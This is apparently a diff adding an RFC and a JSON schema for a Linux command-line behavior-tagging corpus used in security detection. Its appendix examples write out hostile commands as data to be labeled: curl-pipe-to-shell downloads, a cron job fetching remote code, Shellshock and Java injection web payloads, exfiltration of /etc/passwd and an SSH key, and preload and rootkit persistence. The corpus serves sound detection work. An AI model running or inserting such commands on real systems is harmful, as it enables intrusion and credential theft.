+ are easy to overuse, confuse with siblings, or break after recent tag removals.
1212
+
1213
+ - Generic file CRUD tags do not exist in rev20. Ordinary create/write/delete/
1214
+ copy/move mechanics get no tag unless the target has a retained security
1215
+ meaning: credential, log, source, scheduled task, systemd unit, critical
1216
+ system path, temporary or hidden staging, special node, executable content,
1217
+ trust store, kernel module, archive/compression, transfer direction, or a
1218
+ domain-specific mutation.
1219
+ - Generic search does not exist in rev20. Only credential/sensitive/SUID/SGID/
1220
+ capability/world-writable search classes have retained search labels. Other
1221
+ filename discovery is `enumerate_filesystem`; content filtering inherits the
1222
+ visible source class, such as config, source, business data, or log.
1223
+ - Generic remote-service query does not exist in rev20. HTTP/RPC/API requests
1224
+ must use a concrete probe, health, metrics, download/upload, mail, database,
1225
+ cache, object-storage, cloud, workload, infrastructure, or other retained
1226
+ domain tag. Opaque remote/API reads with no retained security target get no
1227
+ placeholder tag.
1228
+ - `inspect_system_state`, `inspect_service`, `inspect_infrastructure_service`,
1229
+ `inspect_workload`, and generic cloud resource CRUD are strict fallbacks. Use
1230
+ them only after more specific read, metric, log, config, auth, secret,
1231
+ workload, storage, network, kernel, package, cloud, or domain tags are
1232
+ excluded.
1233
+ - `read_container_secret` is for secret material exposed through a container
1234
+ runtime, mounted secret path, or container environment. `read_cluster_secret`
1235
+ is for secret objects read through the cluster API.
1236
+ - Cluster privilege revocation has no dedicated rev20 tag. Use
1237
+ `modify_cluster_auth_policy` for visible removal or weakening of cluster
1238
+ RBAC/auth policy unless the operation is a concrete secret or identity-object
1239
+ deletion.
1240
+ - Lifecycle tags such as `manage_data_processing_job`, `manage_virtual_machine`,
1241
+ `manage_snapshot`, `manage_database_backup`, and
1242
+ `manage_infrastructure_backup` are valid security-domain labels. Do not split
1243
+ them by verb unless a future downstream security decision requires finer
1244
+ direction.
1245
+
1246
+ ## Corpus Row Shape
1247
+
1248
+ Corpus rows and manual review overlay rows MUST use top-level fields for active
1249
+ metadata. They MUST NOT use nested explanation wrappers or model-output
1250
+ bookkeeping as row fields.
1251
+
1252
+ Required fields for a full corpus row:
1253
+
1254
+ ```json
1255
+ {
1256
+ "observation_id": "stable row id",
1257
+ "raw": "one raw Linux command line",
1258
+ "behavior_tags": ["zero or more visible complete behavior labels"],
1259
+ "label_source": "source identifier",
1260
+ "meaning": "one objective sentence or paragraph about the visible command",
1261
+ "review_count": 0
1262
+ }
1263
+ ```
1264
+
1265
+ `meaning` is the only explanation field. Rows MUST NOT contain `rationale`,
1266
+ `review_rationale`, `stage1_analysis`, `objective_analysis`, or corpus-row
1267
+ `model`.
1268
+
1269
+ `review_count` is a non-negative integer. New rows start at `0`. Each completed
1270
+ manual or agent review pass over that row MUST increment it by exactly `1`,
1271
+ regardless of whether the tags changed.
1272
+
1273
+ ## Corpus Change Gate
1274
+
1275
+ Every corpus tag change MUST include:
1276
+
1277
+ 1. The visible command evidence.
1278
+ 2. The previous tag set and proposed tag set.
1279
+ 3. At least one RFC principle ID.
1280
+ 4. A short explanation of why the previous tag set violates that principle.
1281
+
1282
+ Appendix example IDs MAY be cited as supporting evidence, but an example alone is
1283
+ not sufficient authority for a corpus rewrite.
1284
+
1285
+ The following are not sufficient reasons to change a row:
1286
+
1287
+ - "More precise."
1288
+ - "Looks suspicious."
1289
+ - "A path name appears without a visible operation that uses it."
1290
+ - "The binary often does X."
1291
+ - "Another reviewer would tag it this way."
1292
+ - "The command could do X after execution."
1293
+ - "The model currently confuses this label."
1294
+
1295
+ If no existing principle decides the case, reviewers MUST update the RFC core or
1296
+ add the case to the open gaps before changing matching corpus rows.
1297
+
1298
+ ## Review Workflow
1299
+
1300
+ ### New corpus row
1301
+
1302
+ 1. Apply the decision procedure.
1303
+ 2. Apply the tagging principles.
1304
+ 3. Consult appendix examples only as illustrations of the principles.
1305
+ 4. If no principle covers a high-confusion case, propose an RFC update before
1306
+ adding many similar rows.
1307
+
1308
+ ### Existing corpus row
1309
+
1310
+ 1. Start from "no change".
1311
+ 2. Identify a concrete schema or RFC principle violation.
1312
+ 3. Change only the tags needed to fix the violation.
1313
+ 4. Preserve the row when both tag sets are defensible under current principles.
1314
+
1315
+ ### RFC update proposal
1316
+
1317
+ A proposal SHOULD include:
1318
+
1319
+ ```json
1320
+ {
1321
+ "principle": "RFC-PN or new principle",
1322
+ "status": "proposed",
1323
+ "problem": "short description of recurring ambiguity",
1324
+ "normative_change": "exact MUST/SHOULD language if the core changes",
1325
+ "positive_examples": [
1326
+ {"cmdline": "...", "behavior_tags": ["..."]}
1327
+ ],
1328
+ "negative_examples": [
1329
+ {"cmdline": "...", "behavior_tags": ["..."], "forbidden_tags": ["..."]}
1330
+ ],
1331
+ "migration_scope": "which corpus rows or tools are affected"
1332
+ }
1333
+ ```
1334
+
1335
+ Do not bulk-edit corpus rows for a proposed RFC change until the change is
1336
+ accepted into the RFC core.
1337
+
1338
+ ## Open RFC Gaps
1339
+
1340
+ These areas need stronger RFC decisions before aggressive review:
1341
+
1342
+ - Residual `inspect_*` vs `read_*` cases where the tool can either inspect
1343
+ metadata or render semantic content and no domain paragraph decides it.
1344
+ - `read_credential_material` vs `read_secret_store` where a secret-like value is
1345
+ addressed through a generic KV/config store path.
1346
+ - Database client `open_data_service_session` vs query/modify/dump/import when
1347
+ the command opens a session and carries only initialization or ambiguous SQL
1348
+ operands.
1349
+ - Pipeline right-hand side behavior when the left stage only produces metadata.
1350
+ - Shell wrappers and copied binaries where the operative tool is hidden.
1351
+ - Localhost/internal/external classification for URLs and sockets when the
1352
+ literal endpoint is absent or supplied through variables.
1353
+
1354
+ These gaps are narrow exceptions. Reviewers SHOULD still apply the accepted
1355
+ principles above to rows that plainly match them.
1356
+
1357
+ ## Appendix A: Boundary Examples
1358
+
1359
+ Appendix examples are non-normative. They document recurring applications of the
1360
+ RFC principles and give reviewers stable example IDs for discussion. They do not
1361
+ add new tag semantics.
1362
+
1363
+ ### EX-EVIDENCE-PATH: Operation Beats Path
1364
+
1365
+ Principles: RFC-P1, RFC-P5
1366
+
1367
+ ```text
1368
+ cat /home/user/.my.cnf
1369
+ -> read_infrastructure_config
1370
+
1371
+ grep -R password /srv
1372
+ -> search_credentials
1373
+
1374
+ cat /var/log/auth.log
1375
+ -> read_auth_audit_log
1376
+
1377
+ mysqldump --defaults-file=/home/user/.my.cnf db > out.sql
1378
+ -> export_database_dump
1379
+ not read_credential_material
1380
+
1381
+ pyspark --properties-file /var/log/syslog
1382
+ -> manage_data_processing_job
1383
+ not read_system_log
1384
+ ```
1385
+
1386
+ ### EX-CURRENT-EXECUTION: Quoted Text Is Not Current Execution
1387
+
1388
+ Principles: RFC-P2, RFC-P8
1389
+
1390
+ ```text
1391
+ wget http://203.0.113.10/a.sh | sh
1392
+ -> download_script, execute_downloaded_content
1393
+
1394
+ grep -R 'ssh -L 15432:db:5432' /etc
1395
+ -> read_system_config
1396
+ not create_forward_tunnel
1397
+
1398
+ echo '*/5 * * * * root curl http://x/a|bash' > /etc/cron.d/cache
1399
+ -> create_scheduled_task
1400
+ not execute_downloaded_content
1401
+ ```
1402
+
1403
+ ### EX-COMPOSITION: Independent Stage Evidence
1404
+
1405
+ Principles: RFC-P3, RFC-P4
1406
+
1407
+ ```text
1408
+ ssh app01 'grep -R password /srv'
1409
+ -> execute_remote_command, search_credentials
1410
+
1411
+ tar -tf bundle.tgz | head
1412
+ -> enumerate_filesystem
1413
+ not extract_archive
1414
+
1415
+ ssh -R 2222:127.0.0.1:22 relay
1416
+ -> create_reverse_tunnel
1417
+ not listen_network_port
1418
+ ```
1419
+
1420
+ ### EX-SEARCH: Included Search Objective
1421
+
1422
+ Principles: RFC-P5
1423
+
1424
+ ```text
1425
+ grep -R 'password' /srv
1426
+ -> search_credentials
1427
+
1428
+ find / -name '*.env'
1429
+ -> search_sensitive_files
1430
+
1431
+ find /etc -name '*.conf'
1432
+ -> enumerate_filesystem
1433
+ not search_sensitive_files
1434
+
1435
+ grep Listen /etc/ssh/sshd_config
1436
+ -> read_ssh_policy
1437
+ not search_sensitive_files
1438
+
1439
+ grep 'Failed password' /var/log/auth.log
1440
+ -> read_auth_audit_log
1441
+ not search_credentials
1442
+
1443
+ journalctl -u sshd --grep '/home/ops/.ssh/authorized_keys'
1444
+ -> read_auth_audit_log
1445
+ not search_credentials
1446
+
1447
+ sshd -T | grep PasswordAuthentication
1448
+ -> read_ssh_policy
1449
+ not search_credentials
1450
+
1451
+ grep -v 'password' app.log
1452
+ -> read_business_log
1453
+ not search_credentials
1454
+ ```
1455
+
1456
+ ### EX-IDENTITY: Directory Boundary And Policy Companions
1457
+
1458
+ Principles: RFC-P5, RFC-P7
1459
+
1460
+ ```text
1461
+ getent passwd deploy
1462
+ -> read_identity_data
1463
+
1464
+ ldapsearch -x -H ldap://ldap.internal -b 'ou=groups,dc=corp,dc=internal' '(cn=ops-oncall)' member
1465
+ -> connect_internal_service, read_identity_data
1466
+
1467
+ ldapwhoami -x -H ldap://ldap.internal
1468
+ -> connect_internal_service, inspect_current_identity
1469
+
1470
+ getent group sudo
1471
+ -> read_identity_data, read_sudo_policy
1472
+
1473
+ curl --data-binary @/etc/passwd https://ext/upload
1474
+ -> read_identity_data, upload_external_content, upload_sensitive_content
1475
+ ```
1476
+
1477
+ ### EX-SECRETS: Secret Metadata Vs Secret Values
1478
+
1479
+ Principles: RFC-P5, RFC-P9
1480
+
1481
+ ```text
1482
+ kubectl get secret db-creds -o yaml
1483
+ -> read_cluster_secret
1484
+
1485
+ kubectl get secret db-creds -o jsonpath='{.data.password}'
1486
+ -> read_cluster_secret
1487
+
1488
+ kubectl get secret -o name
1489
+ -> enumerate_cluster_secrets
1490
+ not read_cluster_secret
1491
+
1492
+ kubectl get secret db-creds
1493
+ -> enumerate_cluster_secrets
1494
+ not read_cluster_secret
1495
+
1496
+ kubectl describe secret db-creds
1497
+ -> enumerate_cluster_secrets
1498
+ not read_cluster_secret
1499
+ ```
1500
+
1501
+ ### EX-LOGS: Log Tier Follows Source
1502
+
1503
+ Principles: RFC-P5
1504
+
1505
+ ```text
1506
+ cat /var/log/auth.log
1507
+ -> read_auth_audit_log
1508
+
1509
+ journalctl -k
1510
+ -> read_system_log
1511
+
1512
+ tail /var/log/nginx/access.log
1513
+ -> read_infrastructure_log
1514
+ not read_system_log solely because it is under /var/log
1515
+
1516
+ tail /srv/payments/logs/app.log
1517
+ -> read_business_log
1518
+ ```
1519
+
1520
+ ### EX-SERVICE: Enablement, Runtime State, And Timers
1521
+
1522
+ Principles: RFC-P6
1523
+
1524
+ ```text
1525
+ systemctl enable cron.service
1526
+ -> enable_service
1527
+ not modify_service_state
1528
+
1529
+ systemctl enable --now cron.service
1530
+ -> enable_service, modify_service_state
1531
+
1532
+ systemctl restart nginx
1533
+ -> modify_service_state
1534
+
1535
+ systemctl enable --now backup.timer
1536
+ -> modify_scheduled_task
1537
+
1538
+ systemctl list-timers
1539
+ -> enumerate_scheduled_tasks
1540
+ ```
1541
+
1542
+ ### EX-DOWNLOADED-EXECUTION: Linkage Required
1543
+
1544
+ Principles: RFC-P2, RFC-P7
1545
+
1546
+ ```text
1547
+ curl -fsSL http://x/install.sh | bash
1548
+ -> download_script, execute_downloaded_content
1549
+
1550
+ curl -fsSL http://x/key.gpg | apt-key add -
1551
+ -> download_external_content, modify_verification_material
1552
+ not execute_downloaded_content
1553
+
1554
+ nohup ssh -N -L 127.0.0.1:15432:db:5432 bastion &
1555
+ -> create_forward_tunnel, execute_detached_process
1556
+ ```
1557
+
1558
+ ### EX-HTTP: Command Payloads And Queries
1559
+
1560
+ Principles: RFC-P2, RFC-P7, RFC-P8
1561
+
1562
+ ```text
1563
+ curl -X POST http://api/internal -d '{"cmd":"id;uname -a"}'
1564
+ -> upload_internal_content
1565
+ not execute_remote_command
1566
+
1567
+ curl -s -H 'User-Agent: () { :; }; id' http://web/internal/cgi-bin/status.cgi
1568
+ -> upload_internal_content
1569
+ not execute_remote_command
1570
+ not inspect_current_identity
1571
+
1572
+ curl -fsS 'http://app/internal/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di' -H 'c2: id'
1573
+ -> probe_web_application, write_web_script_content
1574
+ not execute_remote_command
1575
+
1576
+ curl -fsS 'http://wiki/internal/${(#a=@java.lang.Runtime@getRuntime().exec("id"))}'
1577
+ -> probe_web_application
1578
+ not execute_remote_command
1579
+
1580
+ curl -fsS 'http://app/internal/shell.jsp?cmd=id'
1581
+ -> probe_web_application
1582
+ not execute_remote_command
1583
+
1584
+ curl -X POST http://api/internal -d '{"payload":"opaque"}'
1585
+ -> upload_internal_content
1586
+ not execute_remote_command
1587
+
1588
+ curl -o /tmp/a.bin http://example/a.bin
1589
+ -> download_external_content, stage_temporary_path
1590
+
1591
+ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role
1592
+ -> read_cloud_credentials
1593
+
1594
+ curl https://api.example/healthz
1595
+ -> query_service_health
1596
+ not download_external_content
1597
+ not stage_temporary_path
1598
+
1599
+ curl -sS -o /tmp/api.health -w '%{http_code}\n' https://api.example/ready
1600
+ -> query_service_health
1601
+ not stage_temporary_path
1602
+
1603
+ curl -fsS -b /tmp/.cache/cookies https://example/scriptText -d 'script=id'
1604
+ -> upload_external_content
1605
+ not stage_temporary_path
1606
+ not stage_hidden_path
1607
+ ```
1608
+
1609
+ ### EX-UPLOAD: Direction And Content Class
1610
+
1611
+ Principles: RFC-P7
1612
+
1613
+ ```text
1614
+ curl -T /tmp/report.tar.gz https://ext/upload
1615
+ -> upload_external_content
1616
+ not stage_temporary_path
1617
+
1618
+ curl --data-binary @/home/user/.ssh/id_rsa https://ext/upload
1619
+ -> upload_external_content, upload_credential_material
1620
+ ```
1621
+
1622
+ ### EX-REMOTE: Boundary Plus Nested Behavior
1623
+
1624
+ Principles: RFC-P8
1625
+
1626
+ ```text
1627
+ ssh app01 'cat /etc/ssh/sshd_config'
1628
+ -> execute_remote_command, read_ssh_policy
1629
+
1630
+ kubectl exec deploy/api -- ls /app
1631
+ -> execute_in_workload, enumerate_filesystem
1632
+
1633
+ ssh-keygen -R gitlab.corp
1634
+ -> modify_verification_material
1635
+ not execute_remote_command
1636
+
1637
+ tmux send-keys -t ops 'curl http://x/a|sh' C-m
1638
+ -> send_multiplexer_input
1639
+ not execute_downloaded_content
1640
+ ```
1641
+
1642
+ ### EX-DOMAIN: Domain-Specific Primary Operation
1643
+
1644
+ Principles: RFC-P9
1645
+
1646
+ ```text
1647
+ aws s3 cp /var/log/app.log s3://corp-logs/app.log
1648
+ -> upload_object_storage
1649
+
1650
+ aws s3 cp s3://bucket/db.sql /tmp/db.sql
1651
+ -> download_object_storage, stage_temporary_path
1652
+
1653
+ mc rm prod/bucket/key
1654
+ -> delete_object_storage
1655
+ ```
1656
+
1657
+ ### EX-FILESYSTEM: Compression And Permissions
1658
+
1659
+ Principles: RFC-P6
1660
+
1661
+ ```text
1662
+ gzip -9 /var/log/nginx/access.log.1
1663
+ -> compress_data, read_infrastructure_log
1664
+
1665
+ tar -czf logs.tgz /var/log/nginx /var/log/app
1666
+ -> create_archive, archive_sensitive_content
1667
+
1668
+ chmod u+s /usr/bin/tool
1669
+ -> set_suid_permission
1670
+
1671
+ chmod go-rwx secret.txt
1672
+ -> decrease_file_permission
1673
+
1674
+ chmod 755 script.sh
1675
+ -> modify_file_permission
1676
+
1677
+ mkfifo /tmp/.p
1678
+ -> create_special_filesystem_node, stage_temporary_path, stage_hidden_path
1679
+
1680
+ curl -fsS http://example/payload -o /tmp/.svc
1681
+ -> download_external_content, stage_temporary_path, stage_hidden_path
1682
+
1683
+ cp /tmp/ssh /usr/bin/ssh
1684
+ -> write_system_executable_content
1685
+ not stage_temporary_path
1686
+
1687
+ /tmp/.tool --once
1688
+ -> execute_from_temporary_path
1689
+ not stage_temporary_path
1690
+ not stage_hidden_path
1691
+
1692
+ printf "*/10 * * * * /tmp/.beacon\n" | crontab -
1693
+ -> create_scheduled_task
1694
+ not stage_temporary_path
1695
+ not stage_hidden_path
1696
+
1697
+ printf "[Service]\nExecStart=/tmp/.svc\n" > /etc/systemd/system/a.service
1698
+ -> create_systemd_unit
1699
+ not stage_temporary_path
1700
+ not stage_hidden_path
1701
+
1702
+ echo '/tmp/libx.so' > /etc/ld.so.preload
1703
+ -> modify_library_preload
1704
+
1705
+ echo 'alias ls=ls' >> /etc/profile.d/ops.sh
1706
+ -> modify_shell_startup
1707
+
1708
+ cp /tmp/locale-archive /usr/lib/locale/locale-archive
1709
+ -> modify_critical_system_path
1710
+
1711
+ printf 'curl http://x|sh\n' > .git/hooks/post-commit
1712
+ -> modify_repository_hook
1713
+
1714
+ npm pkg set scripts.postinstall='curl http://x|sh'
1715
+ -> modify_package_execution_hook
1716
+
1717
+ cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/rootkit.ko
1718
+ -> write_kernel_module_content
1719
+
1720
+ update-ca-certificates
1721
+ -> modify_trust_store
1722
+
1723
+ nmap -oN /tmp/scan.txt 10.0.0.0/24
1724
+ -> probe_multiple_endpoints_multiple_ports
1725
+ not stage_temporary_path
1726
+ not any file-path behavior tag
1727
+ ```
schema/tags_schema_rev20.json ADDED
@@ -0,0 +1,415 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "schema_id": "agent_smith_linux_cmdline_behavior_rev20",
3
+ "schema_version": 1,
4
+ "vocabulary_revision": 20,
5
+ "status": "draft_pending_manual_reverse_review",
6
+ "purpose": "Objective single-command Linux behavior recognition using one flat vocabulary of complete detection-relevant behaviors.",
7
+ "label_row_schema": {
8
+ "behavior_tags": [
9
+ "zero or more visible complete behavior labels"
10
+ ]
11
+ },
12
+ "invariants": [
13
+ "Training and evaluation label rows use one flat behavior_tags array; prediction output exposes ranked top_labels.",
14
+ "Each label describes a complete visible behavior rather than a fragment that downstream code must recombine.",
15
+ "Labels may combine an operation with a stable target, scope, direction, or execution form when that combination materially changes detection meaning.",
16
+ "Emit the most-specific applicable behavior and suppress its generic parent behavior.",
17
+ "A compound cmdline may emit multiple independent behaviors when each stage is visibly executed.",
18
+ "Labels describe objective syntax-visible behavior, never maliciousness, authorization, risk, ancestry, session intent, or verdict.",
19
+ "Do not infer successful results, resolved host classes, hidden content, or targets not established by visible syntax.",
20
+ "Single-object and single-endpoint scope is the default and is not encoded unless it is part of a complete behavior label.",
21
+ "New labels must represent a repeated, stable detection distinction across unrelated tools or environments.",
22
+ "Product, vendor, campaign, malware-family, and organization-specific labels are forbidden."
23
+ ],
24
+ "groups": {
25
+ "observation_and_discovery": [
26
+ "read_system_config",
27
+ "read_infrastructure_config",
28
+ "read_business_config",
29
+ "read_auth_policy",
30
+ "inspect_audit_policy",
31
+ "read_identity_data",
32
+ "read_credential_material",
33
+ "read_verification_material",
34
+ "modify_verification_material",
35
+ "read_shell_history",
36
+ "read_login_history",
37
+ "read_auth_audit_log",
38
+ "read_system_audit_log",
39
+ "read_system_log",
40
+ "read_infrastructure_log",
41
+ "read_business_log",
42
+ "read_business_data",
43
+ "read_source_code",
44
+ "inspect_system_state",
45
+ "read_process_runtime",
46
+ "read_environment_variables",
47
+ "read_cloud_metadata",
48
+ "read_cloud_credentials",
49
+ "read_container_secret",
50
+ "inspect_current_identity",
51
+ "inspect_current_privileges",
52
+ "enumerate_users",
53
+ "enumerate_logged_in_users",
54
+ "enumerate_processes",
55
+ "enumerate_open_files",
56
+ "enumerate_network_connections",
57
+ "enumerate_listeners",
58
+ "inspect_network_state",
59
+ "enumerate_services",
60
+ "inspect_service",
61
+ "enumerate_scheduled_tasks",
62
+ "read_scheduled_task",
63
+ "execute_scheduled_task",
64
+ "enumerate_filesystem",
65
+ "inspect_storage_state",
66
+ "enumerate_packages",
67
+ "enumerate_kernel_modules",
68
+ "enumerate_containers",
69
+ "enumerate_workloads",
70
+ "enumerate_cloud_resources",
71
+ "search_credentials",
72
+ "search_sensitive_files",
73
+ "search_suid_files",
74
+ "search_sgid_files",
75
+ "search_capability_files",
76
+ "search_world_writable_files"
77
+ ],
78
+ "configuration_and_log_modification": [
79
+ "modify_system_config",
80
+ "modify_infrastructure_config",
81
+ "modify_business_config",
82
+ "modify_audit_policy",
83
+ "modify_shell_history",
84
+ "clear_shell_history",
85
+ "clear_login_history",
86
+ "append_system_log",
87
+ "delete_audit_log",
88
+ "delete_system_log",
89
+ "delete_infrastructure_log",
90
+ "delete_business_log"
91
+ ],
92
+ "filesystem_and_data": [
93
+ "stage_temporary_path",
94
+ "stage_hidden_path",
95
+ "modify_critical_system_path",
96
+ "create_special_filesystem_node",
97
+ "modify_symlink",
98
+ "inspect_file_metadata",
99
+ "change_file_ownership",
100
+ "modify_file_permission",
101
+ "increase_file_permission",
102
+ "decrease_file_permission",
103
+ "set_suid_permission",
104
+ "set_sgid_permission",
105
+ "set_file_capability",
106
+ "remove_file_capability",
107
+ "modify_file_acl",
108
+ "modify_file_timestamp",
109
+ "set_immutable_file_attribute",
110
+ "remove_immutable_file_attribute",
111
+ "create_archive",
112
+ "archive_sensitive_content",
113
+ "extract_archive",
114
+ "compress_data",
115
+ "write_executable_content",
116
+ "write_shared_library_content",
117
+ "write_system_executable_content",
118
+ "write_web_script_content",
119
+ "write_ransom_note",
120
+ "encode_data",
121
+ "decode_data",
122
+ "encrypt_data",
123
+ "decrypt_data",
124
+ "securely_delete_data",
125
+ "recover_deleted_content"
126
+ ],
127
+ "execution_and_process": [
128
+ "execute_from_temporary_path",
129
+ "execute_from_user_writable_path",
130
+ "execute_downloaded_content",
131
+ "execute_remote_command",
132
+ "execute_in_container",
133
+ "execute_in_chroot",
134
+ "execute_detached_process",
135
+ "execute_with_changed_identity",
136
+ "execute_via_dynamic_loader",
137
+ "execute_encoded_command",
138
+ "spawn_interactive_shell",
139
+ "spawn_reverse_shell",
140
+ "spawn_bind_shell",
141
+ "create_multiplexer_session",
142
+ "attach_multiplexer_session",
143
+ "send_multiplexer_input",
144
+ "read_process_memory",
145
+ "modify_process_memory",
146
+ "capture_process_memory",
147
+ "capture_process_state",
148
+ "inject_process_code",
149
+ "trace_process_execution",
150
+ "trace_file_access",
151
+ "attach_process_debugger",
152
+ "terminate_process",
153
+ "inspect_process_runtime_attributes",
154
+ "modify_process_runtime_attributes",
155
+ "set_environment_variable"
156
+ ],
157
+ "network": [
158
+ "probe_single_endpoint_single_port",
159
+ "probe_single_endpoint_multiple_ports",
160
+ "probe_multiple_endpoints_single_port",
161
+ "probe_multiple_endpoints_multiple_ports",
162
+ "probe_single_endpoint",
163
+ "probe_multiple_endpoints",
164
+ "probe_web_application",
165
+ "probe_database_service",
166
+ "probe_remote_access_service",
167
+ "connect_local_service",
168
+ "connect_internal_service",
169
+ "connect_external_service",
170
+ "manage_vpn_connection",
171
+ "listen_local_port",
172
+ "listen_network_port",
173
+ "create_forward_tunnel",
174
+ "create_reverse_tunnel",
175
+ "create_dynamic_proxy",
176
+ "attempt_remote_authentication",
177
+ "inspect_firewall_policy",
178
+ "modify_firewall_policy",
179
+ "modify_route",
180
+ "modify_dns_config",
181
+ "query_dns_records",
182
+ "perform_dns_zone_transfer",
183
+ "capture_network_packets",
184
+ "capture_network_flows",
185
+ "read_packet_capture",
186
+ "download_local_content",
187
+ "download_internal_content",
188
+ "download_external_content",
189
+ "download_named_content",
190
+ "download_script",
191
+ "download_executable",
192
+ "upload_internal_content",
193
+ "upload_external_content",
194
+ "upload_named_content",
195
+ "upload_credential_material",
196
+ "upload_sensitive_content",
197
+ "synchronize_remote_data",
198
+ "query_service_health",
199
+ "read_service_metrics",
200
+ "run_performance_test",
201
+ "fetch_remote_certificate",
202
+ "send_mail",
203
+ "read_mailbox",
204
+ "connect_mail_server",
205
+ "fetch_remote_mail",
206
+ "inspect_mail_queue",
207
+ "modify_mail_queue",
208
+ "train_mail_filter"
209
+ ],
210
+ "identity_auth_and_secrets": [
211
+ "crack_credential_material",
212
+ "create_user",
213
+ "delete_user",
214
+ "modify_user_identity",
215
+ "modify_group_identity",
216
+ "modify_group_membership",
217
+ "change_password",
218
+ "modify_user_access_state",
219
+ "grant_user_privilege",
220
+ "revoke_user_privilege",
221
+ "modify_sudo_policy",
222
+ "read_sudo_policy",
223
+ "read_ssh_policy",
224
+ "modify_ssh_policy",
225
+ "modify_ssh_authorization",
226
+ "modify_pam_policy",
227
+ "modify_auth_policy",
228
+ "inspect_auth_policy",
229
+ "modify_trust_store",
230
+ "switch_user",
231
+ "create_ssh_key",
232
+ "import_ssh_key",
233
+ "export_ssh_key",
234
+ "create_access_token",
235
+ "renew_access_token",
236
+ "revoke_access_token",
237
+ "create_credential_material",
238
+ "delete_credential_material",
239
+ "read_secret_store",
240
+ "write_secret_store",
241
+ "delete_secret_store"
242
+ ],
243
+ "persistence_services_and_storage": [
244
+ "manage_virtual_machine",
245
+ "create_scheduled_task",
246
+ "modify_scheduled_task",
247
+ "delete_scheduled_task",
248
+ "create_systemd_unit",
249
+ "modify_systemd_unit",
250
+ "delete_systemd_unit",
251
+ "enable_service",
252
+ "disable_service",
253
+ "modify_service_state",
254
+ "install_boot_persistence",
255
+ "modify_shell_startup",
256
+ "modify_dynamic_loader",
257
+ "modify_library_preload",
258
+ "create_startup_script",
259
+ "modify_startup_script",
260
+ "modify_mount_state",
261
+ "mount_remote_filesystem",
262
+ "format_filesystem",
263
+ "resize_filesystem",
264
+ "modify_swap_state",
265
+ "wipe_storage",
266
+ "modify_storage_volume",
267
+ "manage_snapshot",
268
+ "shutdown_host",
269
+ "modify_system_time",
270
+ "reboot_host"
271
+ ],
272
+ "kernel_memory_and_tracing": [
273
+ "read_kernel_state",
274
+ "read_kernel_parameter",
275
+ "modify_kernel_parameter",
276
+ "write_kernel_module_content",
277
+ "load_kernel_module",
278
+ "unload_kernel_module",
279
+ "inspect_kernel_module",
280
+ "load_ebpf_program",
281
+ "unload_ebpf_program",
282
+ "inspect_ebpf_program",
283
+ "read_kernel_memory",
284
+ "modify_kernel_memory",
285
+ "modify_bootloader",
286
+ "modify_security_module_policy"
287
+ ],
288
+ "package_build_and_source": [
289
+ "install_package",
290
+ "simulate_package_install",
291
+ "uninstall_package",
292
+ "update_package",
293
+ "verify_artifact_integrity",
294
+ "generate_artifact_digest",
295
+ "sign_artifact",
296
+ "build_source_code",
297
+ "clone_source_repository",
298
+ "read_source_repository",
299
+ "update_source_repository",
300
+ "modify_source_repository",
301
+ "modify_repository_hook",
302
+ "publish_source_repository",
303
+ "modify_source_code",
304
+ "delete_source_code",
305
+ "modify_language_dependency",
306
+ "modify_package_execution_hook",
307
+ "execute_package_hook"
308
+ ],
309
+ "database_and_infrastructure_services": [
310
+ "open_data_service_session",
311
+ "manage_data_processing_job",
312
+ "query_database_data",
313
+ "modify_database_data",
314
+ "delete_database_data",
315
+ "enumerate_database_schema",
316
+ "modify_database_schema",
317
+ "export_database_dump",
318
+ "import_database_dump",
319
+ "create_database",
320
+ "delete_database",
321
+ "modify_database_account",
322
+ "grant_database_privilege",
323
+ "revoke_database_privilege",
324
+ "modify_infrastructure_account",
325
+ "grant_infrastructure_privilege",
326
+ "revoke_infrastructure_privilege",
327
+ "inspect_infrastructure_service",
328
+ "modify_database_replication",
329
+ "manage_database_backup",
330
+ "manage_infrastructure_backup",
331
+ "query_cache_data",
332
+ "modify_cache_data",
333
+ "flush_cache_data",
334
+ "publish_message",
335
+ "consume_message",
336
+ "read_coordination_data",
337
+ "modify_coordination_data",
338
+ "enumerate_object_storage",
339
+ "upload_object_storage",
340
+ "download_object_storage",
341
+ "delete_object_storage",
342
+ "modify_object_storage"
343
+ ],
344
+ "containers_and_cloud_native": [
345
+ "inspect_container_runtime",
346
+ "build_container_image",
347
+ "inspect_container_image",
348
+ "scan_container_image",
349
+ "transfer_container_image",
350
+ "delete_container_image",
351
+ "create_container_pod",
352
+ "modify_container_state",
353
+ "delete_container",
354
+ "create_privileged_container",
355
+ "mount_host_into_container",
356
+ "modify_container_network",
357
+ "enumerate_cluster_resources",
358
+ "enumerate_container_images",
359
+ "inspect_workload",
360
+ "modify_workload",
361
+ "execute_in_workload",
362
+ "read_workload_logs",
363
+ "read_cluster_secret",
